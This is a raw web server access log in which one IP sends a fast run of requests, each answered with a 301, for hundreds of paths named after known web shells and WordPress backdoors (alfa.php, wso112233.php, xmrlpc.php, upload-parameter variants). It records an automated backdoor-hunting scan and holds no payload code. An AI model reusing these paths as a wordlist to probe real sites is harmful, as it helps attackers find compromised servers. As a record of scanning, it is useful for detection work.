/wp-admin/css/colors/coffee/xmrlpc.php HTTP/1.1" 301 795 "-" "-" 52.164.225.134 - - [23/Apr/2025:01:05:36 -0400] "GET /wp-cli.php HTTP/1.1" 301 795 "-" "-" 52.164.225.134 - - [23/Apr/2025:01:05:37 -0400] "GET /used HTTP/1.1" 301 795 "-" "-" 52.164.225.134 - - [23/Apr/2025:01:05:37 -0400] "GET /classsmtps.php HTTP/1.1" 301 795 "-" "-" 52.164.225.134 - - [23/Apr/2025:01:05:38 -0400] "GET /wp-config-sample.php HTTP/1.1" 301 795 "-" "-" 52.164.225.134 - - [23/Apr/2025:01:05:38 -0400] "GET /locale.php HTTP/1.1" 301 795 "-" "-" 52.164.225.134 - - [23/Apr/2025:01:05:39 -0400] "GET /radio.php HTTP/1.1" 301 795 "-" "-" 52.164.225.134 - - [23/Apr/2025:01:05:40 -0400] "GET /.well-known/acme-challenge/license.php HTTP/1.1" 301 795 "-" "-" 52.164.225.134 - - [23/Apr/2025:01:05:40 -0400] "GET /filefuns.php HTTP/1.1" 301 795 "-" "-" 52.164.225.134 - - [23/Apr/2025:01:05:41 -0400] "GET /about.php HTTP/1.1" 301 795 "-" "-" 52.164.225.134 - - [23/Apr/2025:01:05:41 -0400] "GET /admin/function.php HTTP/1.1" 301 795 "-" "-" 52.164.225.134 - - [23/Apr/2025:01:05:42 -0400] "GET /wp-configs.php HTTP/1.1" 301 795 "-" "-" 52.164.225.134 - - [23/Apr/2025:01:05:42 -0400] "GET /error_exception.php HTTP/1.1" 301 795 "-" "-" 52.164.225.134 - - [23/Apr/2025:01:05:43 -0400] "GET /wp-includes/Text/network.php HTTP/1.1" 301 795 "-" "-" 52.164.225.134 - - [23/Apr/2025:01:05:44 -0400] "GET /wp-theme.php HTTP/1.1" 301 795 "-" "-" 52.164.225.134 - - [23/Apr/2025:01:05:44 -0400] "GET /wp-editor.php HTTP/1.1" 301 795 "-" "-" 52.164.225.134 - - [23/Apr/2025:01:05:45 -0400] "GET /wp-content/upgrade/about.php HTTP/1.1" 301 795 "-" "-" 52.164.225.134 - - [23/Apr/2025:01:05:46 -0400] "GET /hehe.php HTTP/1.1" 301 795 "-" "-" 52.164.225.134 - - [23/Apr/2025:01:05:46 -0400] "GET /yanz.php HTTP/1.1" 301 795 "-" "-" 52.164.225.134 - - [23/Apr/2025:01:05:47 -0400] "GET /lufix.php HTTP/1.1" 301 795 "-" "-" 52.164.225.134 - - [23/Apr/2025:01:05:48 -0400] "GET /wp-includes/css.php HTTP/1.1" 301 795 "-" "-" 52.164.225.134 - - [23/Apr/2025:01:05:48 -0400] "GET /wp-links-opml.php HTTP/1.1" 301 795 "-" "-" 52.164.225.134 - - [23/Apr/2025:01:05:49 -0400] "GET /wp-includes/block-patterns/about.php HTTP/1.1" 301 795 "-" "-" 52.164.225.134 - - [23/Apr/2025:01:05:50 -0400] "GET /wp-atom.php HTTP/1.1" 301 795 "-" "-" 52.164.225.134 - - [23/Apr/2025:01:05:50 -0400] "GET /index1.php HTTP/1.1" 301 795 "-" "-" 52.164.225.134 - - [23/Apr/2025:01:05:51 -0400] "GET /wp-includes/fonts/index.php HTTP/1.1" 301 795 "-" "-" 52.164.225.134 - - [23/Apr/2025:01:05:52 -0400] "GET /wp-admin/images/xmrlpc.php HTTP/1.1" 301 795 "-" "-" 52.164.225.134 - - [23/Apr/2025:01:05:52 -0400] "GET /.well-known/acme-challenge/adminfuns.php HTTP/1.1" 301 795 "-" "-" 52.164.225.134 - - [23/Apr/2025:01:05:53 -0400] "GET /adminfuns.php HTTP/1.1" 301 795 "-" "-" 52.164.225.134 - - [23/Apr/2025:01:05:54 -0400] "GET /.well-known/pki-validation/top.php HTTP/1.1" 301 795 "-" "-" 52.164.225.134 - - [23/Apr/2025:01:05:54 -0400] "GET /edit-comments.php HTTP/1.1" 301 795 "-" "-" 52.164.225.134 - - [23/Apr/2025:01:05:55 -0400] "GET /cgi-bin/index.php HTTP/1.1" 301 795 "-" "-" 52.164.225.134 - - [23/Apr/2025:01:05:56 -0400] "GET /.well-known/pki-validation/wp-scripts.php HTTP/1.1" 301 795 "-" "-" 52.164.225.134 - - [23/Apr/2025:01:05:56 -0400] "GET /shell.php HTTP/1.1" 301 795 "-" "-" 52.164.225.134 - - [23/Apr/2025:01:05:57 -0400] "GET /moon.php HTTP/1.1" 301 795 "-" "-" 52.164.225.134 - - [23/Apr/2025:01:05:57 -0400] "GET /privacy.php HTTP/1.1" 301 795 "-" "-" 52.164.225.134 - - [23/Apr/2025:01:05:58 -0400] "GET /wp-blog-header.php HTTP/1.1" 301 795 "-" "-" 52.164.225.134 - - [23/Apr/2025:01:05:59 -0400] "GET /.tmb/cpabpkyk.php HTTP/1.1" 301 795 "-" "-" 52.164.225.134 - - [23/Apr/2025:01:05:59 -0400] "GET /wp-includes/pomo/fgertreyersd.php.suspected HTTP/1.1" 301 795 "-" "-" 52.164.225.134 - - [23/Apr/2025:01:06:00 -0400] "GET /1975.php HTTP/1.1" 301 795 "-" "-" 52.164.225.134 - - [23/Apr/2025:01:06:00 -0400] "GET /system_log.php HTTP/1.1" 301 795 "-" "-" 52.164.225.134 - - [23/Apr/2025:01:06:01 -0400] "GET /wp-includes/sts.php HTTP/1.1" 301 795 "-" "-" 52.164.225.134 - - [23/Apr/2025:01:06:02 -0400] "GET /.well-known/pki-validation/lang-load-role.php HTTP/1.1" 301 795 "-" "-" 52.164.225.134 - - [23/Apr/2025:01:06:02 -0400] "GET //doc.php HTTP/1.1" 301 795 "-" "-" 52.164.225.134 - - [23/Apr/2025:01:06:03 -0400] "GET //wp-includes/js/jcrop/Jcrop.php HTTP/1.1" 301 795 "-" "-" 52.164.225.134 - - [23/Apr/2025:01:06:04 -0400] "GET /images/class-config.php HTTP/1.1" 301 795 "-" "-" 52.164.225.134 - - [23/Apr/2025:01:06:04 -0400] "GET /ok.php HTTP/1.1" 301 795 "-" "-" 52.164.225.134 - - [23/Apr/2025:01:06:05 -0400] "GET /wp-admin/images/cloud.php HTTP/1.1" 301 795 "-" "-" 52.164.225.134 - - [23/Apr/2025:01:06:05 -0400] "GET /moddofuns.php HTTP/1.1" 301 795 "-" "-" 52.164.225.134 - - [23/Apr/2025:01:06:06 -0400] "GET /wp/wp-admin/includes/class-wp-page-mvb2yr.php HTTP/1.1" 301 795 "-" "-" 52.164.225.134 - - [23/Apr/2025:01:06:07 -0400] "GET /11index.php HTTP/1.1" 301 795 "-" "-" 52.164.225.134 - - [23/Apr/2025:01:06:07 -0400] "GET /images/xmrlpc.php?p= HTTP/1.1" 301 795 "-" "-" 52.164.225.134 - - [23/Apr/2025:01:06:08 -0400] "GET /ayk.php HTTP/1.1" 301 795 "-" "-" 52.164.225.134 - - [23/Apr/2025:01:06:09 -0400] "GET /index.php HTTP/1.1" 301 795 "-" "-" 52.164.225.134 - - [23/Apr/2025:01:06:09 -0400] "GET /wp-admin/css/colors/blue/index.php/.well-known/pki-validation/xmrlpc.php HTTP/1.1" 301 795 "-" "-" 52.164.225.134 - - [23/Apr/2025:01:06:10 -0400] "GET /link.php HTTP/1.1" 301 795 "-" "-" 52.164.225.134 - - [23/Apr/2025:01:06:11 -0400] "GET /1.php HTTP/1.1" 301 795 "-" "-" 52.164.225.134 - - [23/Apr/2025:01:06:12 -0400] "GET /wp-includes/class-wp-cache.php HTTP/1.1" 301 795 "-" "-" 52.164.225.134 - - [23/Apr/2025:01:06:13 -0400] "GET //user.php HTTP/1.1" 301 795 "-" "-" 52.164.225.134 - - [23/Apr/2025:01:06:14 -0400] "GET /wp-content/upgrade/index.php HTTP/1.1" 301 795 "-" "-" 52.164.225.134 - - [23/Apr/2025:01:06:15 -0400] "GET /x.php HTTP/1.1" 301 795 "-" "-" 52.164.225.134 - - [23/Apr/2025:01:06:16 -0400] "GET /wp-comments-post.php HTTP/1.1" 301 795 "-" "-" 52.164.225.134 - - [23/Apr/2025:01:06:17 -0400] "GET /plugins.php HTTP/1.1" 301 795 "-" "-" 52.164.225.134 - - [23/Apr/2025:01:06:18 -0400] "GET /wp-content/languages/about.php HTTP/1.1" 301 795 "-" "-" 52.164.225.134 - - [23/Apr/2025:01:06:19 -0400] "GET /wp-includes/SimplePie/Exception-class.php HTTP/1.1" 301 795 "-" "-" 52.164.225.134 - - [23/Apr/2025:01:06:20 -0400] "GET /gawean.PhP7 HTTP/1.1" 301 795 "-" "-" 52.164.225.134 - - [23/Apr/2025:01:06:21 -0400] "GET //wp-admin/images/about.php HTTP/1.1" 301 795 "-" "-" 52.164.225.134 - - [23/Apr/2025:01:06:22 -0400] "GET /hinfofuns.php HTTP/1.1" 301 795 "-" "-" 52.164.225.134 - - [23/Apr/2025:01:06:23 -0400] "GET /wp-includes/js/tinymce/skins/lightgray/fonts/sx.php HTTP/1.1" 301 795 "-" "-" 52.164.225.134 - - [23/Apr/2025:01:06:24 -0400] "GET /wp-activate.php HTTP/1.1" 301 795 "-" "-" 52.164.225.134 - - [23/Apr/2025:01:06:24 -0400] "GET /fm1.php HTTP/1.1" 301 795 "-" "-" 52.164.225.134 - - [23/Apr/2025:01:06:25 -0400] "GET /wp-includes/SimplePie/plugins.php HTTP/1.1" 301 795 "-" "-" 52.164.225.134 - - [23/Apr/2025:01:06:26 -0400] "GET //sim.php/wp-includes/certificates/plugins.php HTTP/1.1" 301 795 "-" "-" 52.164.225.134 - - [23/Apr/2025:01:06:26 -0400] "GET /cjfuns.php HTTP/1.1" 301 795 "-" "-" 52.164.225.134 - - [23/Apr/2025:01:06:27 -0400] "GET /wp-admin/user/network.php HTTP/1.1" 301 795 "-" "-" 52.164.225.134 - - [23/Apr/2025:01:06:28 -0400] "GET /wp-includes/pomo/about.php HTTP/1.1" 301 795 "-" "-" 52.164.225.134 - - [23/Apr/2025:01:06:28 -0400] "GET /.well-known/text.php HTTP/1.1" 301 795 "-" "-" 52.164.225.134 - - [23/Apr/2025:01:06:29 -0400] "GET /wp-admin/js/ HTTP/1.1" 301 795 "-" "-" 52.164.225.134 - - [23/Apr/2025:01:06:30 -0400] "GET /.tmb/class_api.php HTTP/1.1" 301 795 "-" "-" 52.164.225.134 - - [23/Apr/2025:01:06:31 -0400] "GET /gh.php HTTP/1.1" 301 795 "-" "-" 52.164.225.134 - - [23/Apr/2025:01:06:31 -0400] "GET /install.php HTTP/1.1" 301 795 "-" "-" 52.164.225.134 - - [23/Apr/2025:01:06:32 -0400] "GET /lib.php HTTP/1.1" 301 795 "-" "-" 52.164.225.134 - - [23/Apr/2025:01:06:33 -0400] "GET /wp-admin/includes/sx.php HTTP/1.1" 301 795 "-" "-" 52.164.225.134 - - [23/Apr/2025:01:06:34 -0400] "GET /.well-known/pki-validation/xmrlpc.php HTTP/1.1" 301 795 "-" "-" 52.164.225.134 - - [23/Apr/2025:01:06:35 -0400] "GET /wp-includes/rest-api/about.php HTTP/1.1" 301 795 "-" "-" 52.164.225.134 - - [23/Apr/2025:01:06:36 -0400] "GET /wp-admin/css/admin.php HTTP/1.1" 301 795 "-" "-" 52.164.225.134 - - [23/Apr/2025:01:06:36 -0400] "GET /wp-includes/css/SEEP77.php HTTP/1.1" 301 795 "-" "-" 52.164.225.134 - - [23/Apr/2025:01:06:37 -0400] "GET /m.php HTTP/1.1" 301 795 "-" "-" 52.164.225.134 - - [23/Apr/2025:01:06:39 -0400] "GET /wp-admin/css/colors/blue/blkdimxx.php HTTP/1.1" 301 795 "-" "-" 52.164.225.134 - - [23/Apr/2025:01:06:40 -0400] "GET /wp-includes/widgets/about.php HTTP/1.1" 301 795 "-" "-" 52.164.225.134 - - [23/Apr/2025:01:06:42 -0400] "GET /db.php HTTP/1.1" 301 795 "-" "-" 52.164.225.134 - - [23/Apr/2025:01:06:43 -0400] "GET /bak.php HTTP/1.1" 301 795 "-" "-" 52.164.225.134 - - [23/Apr/2025:01:06:46 -0400] "GET /ioxi02.php HTTP/1.1" 301 795 "-" "-" 52.164.225.134 - - [23/Apr/2025:01:06:47 -0400] "GET /ova.php HTTP/1.1" 301 795 "-" "-" 52.164.225.134 - - [23/Apr/2025:01:06:49 -0400] "GET /r3x.php HTTP/1.1" 301 795 "-" "-" 52.164.225.134 - - [23/Apr/2025:01:06:50 -0400] "GET /shell20211028.php HTTP/1.1" 301 795 "-" "-" 52.164.225.134 - - [23/Apr/2025:01:06:51 -0400] "GET /wp-includes/class-ftps.php HTTP/1.1" 301 795 "-" "-" 52.164.225.134 - - [23/Apr/2025:01:06:53 -0400] "GET /wp-admin/images/thumbs.php HTTP/1.1" 301 795 "-" "-" 52.164.225.134 - - [23/Apr/2025:01:06:54 -0400] "GET /wp-includes/style-engine/about.php HTTP/1.1" 301 795 "-" "-" 52.164.225.134 - - [23/Apr/2025:01:06:54 -0400] "GET /wp-includes/SimplePie/index.php HTTP/1.1" 301 795 "-" "-" 52.164.225.134 - - [23/Apr/2025:01:06:56 -0400] "GET /xt/smaxx.php HTTP/1.1" 301 795 "-" "-" 52.164.225.134 - - [23/Apr/2025:01:06:56 -0400] "GET /wp-info.php HTTP/1.1" 301 795 "-" "-" 52.164.225.134 - - [23/Apr/2025:01:06:57 -0400] "GET /wp-mail.php HTTP/1.1" 301 795 "-" "-" 52.164.225.134 - - [23/Apr/2025:01:06:58 -0400] "GET /themes/zMousse/otuz1.php HTTP/1.1" 301 795 "-" "-" 52.164.225.134 - - [23/Apr/2025:01:06:59 -0400] "GET //autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 52.164.225.134 - - [23/Apr/2025:01:06:59 -0400] "GET /xleet.php HTTP/1.1" 301 795 "-" "-" 52.164.225.134 - - [23/Apr/2025:01:07:00 -0400] "GET /ioxi002.PhP7 HTTP/1.1" 301 795 "-" "-" 52.164.225.134 - - [23/Apr/2025:01:07:01 -0400] "GET /wp-includes/PHPMailer/upfile_(2).php HTTP/1.1" 301 795 "-" "-" 52.164.225.134 - - [23/Apr/2025:01:07:02 -0400] "GET /.well-known/pki-validation/ssl.php HTTP/1.1" 301 795 "-" "-" 52.164.225.134 - - [23/Apr/2025:01:07:02 -0400] "GET /upfile.php HTTP/1.1" 301 795 "-" "-" 52.164.225.134 - - [23/Apr/2025:01:07:03 -0400] "GET /wp-admin/css/colors/light/Admin-Author.php HTTP/1.1" 301 795 "-" "-" 52.164.225.134 - - [23/Apr/2025:01:07:04 -0400] "GET /assets/bypass.php HTTP/1.1" 301 795 "-" "-" 52.164.225.134 - - [23/Apr/2025:01:07:05 -0400] "GET /wp-admin/css/colors/blue/.well-known/pki-validation/xmrlpc.php HTTP/1.1" 301 795 "-" "-" 52.164.225.134 - - [23/Apr/2025:01:07:06 -0400] "GET /wp-includes/rest-api/sx.php HTTP/1.1" 301 795 "-" "-" 52.164.225.134 - - [23/Apr/2025:01:07:07 -0400] "GET /assets/images/1p.php HTTP/1.1" 301 795 "-" "-" 52.164.225.134 - - [23/Apr/2025:01:07:08 -0400] "GET /wp-config-premigrate.php HTTP/1.1" 301 795 "-" "-" 52.164.225.134 - - [23/Apr/2025:01:07:09 -0400] "GET /123.php HTTP/1.1" 301 795 "-" "-" 52.164.225.134 - - [23/Apr/2025:01:07:10 -0400] "GET /wp-links.php HTTP/1.1" 301 795 "-" "-" 52.164.225.134 - - [23/Apr/2025:01:07:11 -0400] "GET /shellv3.php HTTP/1.1" 301 795 "-" "-" 52.164.225.134 - - [23/Apr/2025:01:07:12 -0400] "GET /alfa.php HTTP/1.1" 301 795 "-" "-" 52.164.225.134 - - [23/Apr/2025:01:07:13 -0400] "GET /wp-admin/css/colors/blue/blkqvmih.php HTTP/1.1" 301 795 "-" "-" 52.164.225.134 - - [23/Apr/2025:01:07:15 -0400] "GET /.well-known/pki-validation/amaxx.php HTTP/1.1" 301 795 "-" "-" 52.164.225.134 - - [23/Apr/2025:01:07:16 -0400] "GET /wp-includes/wp-class.php HTTP/1.1" 301 795 "-" "-" 52.164.225.134 - - [23/Apr/2025:01:07:16 -0400] "GET /wp-content/themes/seotheme/mar.php HTTP/1.1" 301 795 "-" "-" 52.164.225.134 - - [23/Apr/2025:01:07:17 -0400] "GET /wp-includes/Text/Diff/Engine/com_search.php HTTP/1.1" 301 795 "-" "-" 52.164.225.134 - - [23/Apr/2025:01:07:18 -0400] "GET /wp-admin/user/index.php HTTP/1.1" 301 795 "-" "-" 52.164.225.134 - - [23/Apr/2025:01:07:19 -0400] "GET /disagraeed.php HTTP/1.1" 301 795 "-" "-" 52.164.225.134 - - [23/Apr/2025:01:07:20 -0400] "GET /wp-admin/user/xmrlpc.php?p= HTTP/1.1" 301 795 "-" "-" 52.164.225.134 - - [23/Apr/2025:01:07:20 -0400] "GET /autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 52.164.225.134 - - [23/Apr/2025:01:07:21 -0400] "GET /wp-22.php?sfilename=bdkr28tools.php&sfilecontent=&supfiles= HTTP/1.1" 301 795 "-" "-" 52.164.225.134 - - [23/Apr/2025:01:07:22 -0400] "GET /cache-compat.php HTTP/1.1" 301 795 "-" "-" 52.164.225.134 - - [23/Apr/2025:01:07:24 -0400] "GET /wp-admin/network/upfile.php HTTP/1.1" 301 795 "-" "-" 52.164.225.134 - - [23/Apr/2025:01:07:24 -0400] "GET /webadmin.php HTTP/1.1" 301 795 "-" "-" 52.164.225.134 - - [23/Apr/2025:01:07:25 -0400] "GET /checkbox.php HTTP/1.1" 301 795 "-" "-" 52.164.225.134 - - [23/Apr/2025:01:07:26 -0400] "GET /gebase.php HTTP/1.1" 301 795 "-" "-" 52.164.225.134 - - [23/Apr/2025:01:07:27 -0400] "GET /old.php HTTP/1.1" 301 795 "-" "-" 52.164.225.134 - - [23/Apr/2025:01:07:28 -0400] "GET /class.api.php HTTP/1.1" 301 795 "-" "-" 52.164.225.134 - - [23/Apr/2025:01:07:29 -0400] "GET /wp-content/index.php HTTP/1.1" 301 795 "-" "-" 52.164.225.134 - - [23/Apr/2025:01:07:29 -0400] "GET /wp-includes/IXR/sx.php HTTP/1.1" 301 795 "-" "-" 52.164.225.134 - - [23/Apr/2025:01:07:31 -0400] "GET /wp-apxupx.php?apx=upx HTTP/1.1" 301 795 "-" "-" 52.164.225.134 - - [23/Apr/2025:01:07:31 -0400] "GET /.well-known/zxhfwqyt.php HTTP/1.1" 301 795 "-" "-" 52.164.225.134 - - [23/Apr/2025:01:07:32 -0400] "GET /wp-admin/css/colors/blue/admin.php HTTP/1.1" 301 795 "-" "-" 52.164.225.134 - - [23/Apr/2025:01:07:33 -0400] "GET /wp-includes/rest-api/endpoints/html.php HTTP/1.1" 301 795 "-" "-" 52.164.225.134 - - [23/Apr/2025:01:07:33 -0400] "GET /ynz.PhP7 HTTP/1.1" 301 795 "-" "-" 52.164.225.134 - - [23/Apr/2025:01:07:34 -0400] "GET /wp-admin/includes/class_api.php HTTP/1.1" 301 795 "-" "-" 52.164.225.134 - - [23/Apr/2025:01:07:35 -0400] "GET /cloud.php HTTP/1.1" 301 795 "-" "-" 52.164.225.134 - - [23/Apr/2025:01:07:36 -0400] "GET /wp-admin/images/profile.php HTTP/1.1" 301 795 "-" "-" 52.164.225.134 - - [23/Apr/2025:01:07:36 -0400] "GET /files.php HTTP/1.1" 301 795 "-" "-" 52.164.225.134 - - [23/Apr/2025:01:07:37 -0400] "GET /wp-content/themes/alera/alpha.php HTTP/1.1" 301 795 "-" "-" 52.164.225.134 - - [23/Apr/2025:01:07:38 -0400] "GET /wp-includes/amaxx.php HTTP/1.1" 301 795 "-" "-" 52.164.225.134 - - [23/Apr/2025:01:07:38 -0400] "GET /updates.php HTTP/1.1" 301 795 "-" "-" 52.164.225.134 - - [23/Apr/2025:01:07:39 -0400] "GET /worksec.php HTTP/1.1" 301 795 "-" "-" 52.164.225.134 - - [23/Apr/2025:01:07:39 -0400] "GET /404.php HTTP/1.1" 301 795 "-" "-" 52.164.225.134 - - [23/Apr/2025:01:07:40 -0400] "GET /wp-admin/images/atomlib.php HTTP/1.1" 301 795 "-" "-" 52.164.225.134 - - [23/Apr/2025:01:07:41 -0400] "GET /ini.php HTTP/1.1" 301 795 "-" "-" 52.164.225.134 - - [23/Apr/2025:01:07:41 -0400] "GET /simple.php HTTP/1.1" 301 795 "-" "-" 52.164.225.134 - - [23/Apr/2025:01:07:42 -0400] "GET /.well-known/admin.php HTTP/1.1" 301 795 "-" "-" 52.164.225.134 - - [23/Apr/2025:01:07:43 -0400] "GET /epinyins.php HTTP/1.1" 301 795 "-" "-" 52.164.225.134 - - [23/Apr/2025:01:07:43 -0400] "GET /wp-includes/smaxx.php HTTP/1.1" 301 795 "-" "-" 52.164.225.134 - - [23/Apr/2025:01:07:44 -0400] "GET /a.php HTTP/1.1" 301 795 "-" "-" 52.164.225.134 - - [23/Apr/2025:01:07:45 -0400] "GET /ioxi001.PhP7 HTTP/1.1" 301 795 "-" "-" 52.164.225.134 - - [23/Apr/2025:01:07:45 -0400] "GET /mini.php HTTP/1.1" 301 795 "-" "-" 52.164.225.134 - - [23/Apr/2025:01:07:46 -0400] "GET /nav-menus.php HTTP/1.1" 301 795 "-" "-" 52.164.225.134 - - [23/Apr/2025:01:07:47 -0400] "GET /assets/app.php HTTP/1.1" 301 795 "-" "-" 52.164.225.134 - - [23/Apr/2025:01:07:48 -0400] "GET /wp-file.php HTTP/1.1" 301 795 "-" "-" 52.164.225.134 - - [23/Apr/2025:01:07:48 -0400] "GET /default.php HTTP/1.1" 301 795 "-" "-" 52.164.225.134 - - [23/Apr/2025:01:07:50 -0400] "GET /wp-content/themes/wp-pridmag/init.php HTTP/1.1" 301 795 "-" "-" 52.164.225.134 - - [23/Apr/2025:01:07:50 -0400] "GET /test.php HTTP/1.1" 301 795 "-" "-" 52.164.225.134 - - [23/Apr/2025:01:07:51 -0400] "GET /as.php HTTP/1.1" 301 795 "-" "-" 52.164.225.134 - - [23/Apr/2025:01:07:52 -0400] "GET /wp-includes/qw.php HTTP/1.1" 301 795 "-" "-" 52.164.225.134 - - [23/Apr/2025:01:07:54 -0400] "GET /2.php HTTP/1.1" 301 795 "-" "-" 52.164.225.134 - - [23/Apr/2025:01:07:55 -0400] "GET /img/xmrlpc.php?p= HTTP/1.1" 301 795 "-" "-" 52.164.225.134 - - [23/Apr/2025:01:07:56 -0400] "GET /.well-known/acme-challenge/xmrlpc.php HTTP/1.1" 301 795 "-" "-" 52.164.225.134 - - [23/Apr/2025:01:07:56 -0400] "GET /wp.php HTTP/1.1" 301 795 "-" "-" 52.164.225.134 - - [23/Apr/2025:01:07:57 -0400] "GET /wp-admin/images/xmrlpc.php?p= HTTP/1.1" 301 795 "-" "-" 52.164.225.134 - - [23/Apr/2025:01:07:58 -0400] "GET /wp-includes/js/crop/crop.php HTTP/1.1" 301 795 "-" "-" 52.164.225.134 - - [23/Apr/2025:01:07:59 -0400] "GET /bypass.php HTTP/1.1" 301 795 "-" "-" 52.164.225.134 - - [23/Apr/2025:01:08:00 -0400] "GET /xml.php HTTP/1.1" 301 795 "-" "-" 52.164.225.134 - - [23/Apr/2025:01:08:00 -0400] "GET /options.php HTTP/1.1" 301 795 "-" "-" 52.164.225.134 - - [23/Apr/2025:01:08:01 -0400] "GET /avaa.php HTTP/1.1" 301 795 "-" "-" 52.164.225.134 - - [23/Apr/2025:01:08:02 -0400] "GET /wp-includes/wp-login.php HTTP/1.1" 301 795 "-" "-" 52.164.225.134 - - [23/Apr/2025:01:08:03 -0400] "GET /.well-known/sx.php HTTP/1.1" 301 795 "-" "-" 52.164.225.134 - - [23/Apr/2025:01:08:04 -0400] "GET /wp-includes/ID3/sx.php HTTP/1.1" 301 795 "-" "-" 52.164.225.134 - - [23/Apr/2025:01:08:05 -0400] "GET /profile.php HTTP/1.1" 301 795 "-" "-" 52.164.225.134 - - [23/Apr/2025:01:08:07 -0400] "GET /wp-admin/repeater.php HTTP/1.1" 301 795 "-" "-" 52.164.225.134 - - [23/Apr/2025:01:08:08 -0400] "GET /12.php HTTP/1.1" 301 795 "-" "-" 52.164.225.134 - - [23/Apr/2025:01:08:09 -0400] "GET /wp-includes/log403.php HTTP/1.1" 301 795 "-" "-" 52.164.225.134 - - [23/Apr/2025:01:08:11 -0400] "GET /wp-includes//wp-includes/admin-bar.php HTTP/1.1" 301 795 "-" "-" 52.164.225.134 - - [23/Apr/2025:01:08:11 -0400] "GET //dropdown.php HTTP/1.1" 301 795 "-" "-" 52.164.225.134 - - [23/Apr/2025:01:08:12 -0400] "GET /jquery.php HTTP/1.1" 301 795 "-" "-" 52.164.225.134 - - [23/Apr/2025:01:08:13 -0400] "GET /credits.php HTTP/1.1" 301 795 "-" "-" 52.164.225.134 - - [23/Apr/2025:01:08:14 -0400] "GET /ae.php HTTP/1.1" 301 795 "-" "-" 52.164.225.134 - - [23/Apr/2025:01:08:16 -0400] "GET /.well-known/pki-validation/Newsupway.php HTTP/1.1" 301 795 "-" "-" 52.164.225.134 - - [23/Apr/2025:01:08:18 -0400] "GET /wp-admin/css/index.php HTTP/1.1" 301 795 "-" "-" 52.164.225.134 - - [23/Apr/2025:01:08:20 -0400] "GET /wp-includes/ID3/cache.php HTTP/1.1" 301 795 "-" "-" 52.164.225.134 - - [23/Apr/2025:01:08:21 -0400] "GET /moded.php HTTP/1.1" 301 795 "-" "-" 52.164.225.134 - - [23/Apr/2025:01:08:22 -0400] "GET //about.php HTTP/1.1" 301 795 "-" "-" 52.164.225.134 - - [23/Apr/2025:01:08:24 -0400] "GET /.well-known/acme-challenge/sx.php HTTP/1.1" 301 795 "-" "-" 52.164.225.134 - - [23/Apr/2025:01:08:24 -0400] "GET /readme.php HTTP/1.1" 301 795 "-" "-" 52.164.225.134 - - [23/Apr/2025:01:08:25 -0400] "GET /web.php HTTP/1.1" 301 795 "-" "-" 52.164.225.134 - - [23/Apr/2025:01:08:26 -0400] "GET /wp-content/x/index.php HTTP/1.1" 301 795 "-" "-" 52.164.225.134 - - [23/Apr/2025:01:08:27 -0400] "GET /gecko.php HTTP/1.1" 301 795 "-" "-" 52.164.225.134 - - [23/Apr/2025:01:08:27 -0400] "GET /wp-admin/css/sx.php HTTP/1.1" 301 795 "-" "-" 52.164.225.134 - - [23/Apr/2025:01:08:28 -0400] "GET /item.php HTTP/1.1" 301 795 "-" "-" 52.164.225.134 - - [23/Apr/2025:01:08:29 -0400] "GET /ern1.php HTTP/1.1" 301 795 "-" "-" 52.164.225.134 - - [23/Apr/2025:01:08:30 -0400] "GET /allez.php HTTP/1.1" 301 795 "-" "-" 52.164.225.134 - - [23/Apr/2025:01:08:30 -0400] "GET /f0x.php HTTP/1.1" 301 795 "-" "-" 52.164.225.134 - - [23/Apr/2025:01:08:31 -0400] "GET /wp-admin/images/system.php HTTP/1.1" 301 795 "-" "-" 52.164.225.134 - - [23/Apr/2025:01:08:31 -0400] "GET /filter.php HTTP/1.1" 301 795 "-" "-" 52.164.225.134 - - [23/Apr/2025:01:08:32 -0400] "GET /css/sgd.php HTTP/1.1" 301 795 "-" "-" 52.164.225.134 - - [23/Apr/2025:01:08:33 -0400] "GET /wp-admin/images/wp-settings.phtml HTTP/1.1" 301 795 "-" "-" 52.164.225.134 - - [23/Apr/2025:01:08:33 -0400] "GET /wp-admin/css/colors/blue/blkcdojh.php HTTP/1.1" 301 795 "-" "-" 52.164.225.134 - - [23/Apr/2025:01:08:34 -0400] "GET /wp-content/languages/index.php HTTP/1.1" 301 795 "-" "-" 52.164.225.134 - - [23/Apr/2025:01:08:35 -0400] "GET /wp-includes/customize/amaxx.php HTTP/1.1" 301 795 "-" "-" 52.164.225.134 - - [23/Apr/2025:01:08:35 -0400] "GET /wp-22.php HTTP/1.1" 301 795 "-" "-" 52.164.225.134 - - [23/Apr/2025:01:08:36 -0400] "GET //wp-admin/maint/wp-login.php HTTP/1.1" 301 795 "-" "-" 52.164.225.134 - - [23/Apr/2025:01:08:37 -0400] "GET /authorize.php HTTP/1.1" 301 795 "-" "-" 52.164.225.134 - - [23/Apr/2025:01:08:37 -0400] "GET /wp-admin/includes/xmrlpc.php HTTP/1.1" 301 795 "-" "-" 52.164.225.134 - - [23/Apr/2025:01:08:38 -0400] "GET /wp-admin/setup-config.php HTTP/1.1" 301 795 "-" "-" 52.164.225.134 - - [23/Apr/2025:01:08:39 -0400] "GET /jp.php HTTP/1.1" 301 795 "-" "-" 52.164.225.134 - - [23/Apr/2025:01:08:39 -0400] "GET /modules/mod_simplefileuploadv1.3/elements/udd.php HTTP/1.1" 301 795 "-" "-" 52.164.225.134 - - [23/Apr/2025:01:08:40 -0400] "GET /admin/upload/css.php HTTP/1.1" 301 795 "-" "-" 52.164.225.134 - - [23/Apr/2025:01:08:41 -0400] "GET /wp-content/themes/aahana/json.php HTTP/1.1" 301 795 "-" "-" 52.164.225.134 - - [23/Apr/2025:01:08:42 -0400] "GET /wso112233.php HTTP/1.1" 301 795 "-" "-" 52.164.225.134 - - [23/Apr/2025:01:08:43 -0400] "GET /assets/images/tinyimg.php HTTP/1.1" 301 795 "-" "-" 52.164.225.134 - - [23/Apr/2025:01:08:44 -0400] "GET /wp-admin/user/1.php HTTP/1.1" 301 795 "-" "-" 52.164.225.134 - - [23/Apr/2025:01:08:45 -0400] "GET /wp-admin/classwithtostring.php HTTP/1.1" 301 795 "-" "-" 52.164.225.134 - - [23/Apr/2025:01:08:46 -0400] "GET /wp-admin/js/widgets/about.php7 HTTP/1.1" 301 795 "-" "-" 52.164.225.134 - - [23/Apr/2025:01:08:47 -0400] "GET /wp-content/cache/index.php HTTP/1.1" 301 795 "-" "-" 52.164.225.134 - - [23/Apr/2025:01:08:47 -0400] "GET /wp-trackback.php HTTP/1.1" 301 795 "-" "-" 52.164.225.134 - - [23/Apr/2025:01:08:48 -0400] "GET /wp-admin/css/colors/index.php HTTP/1.1" 301 795 "-" "-" 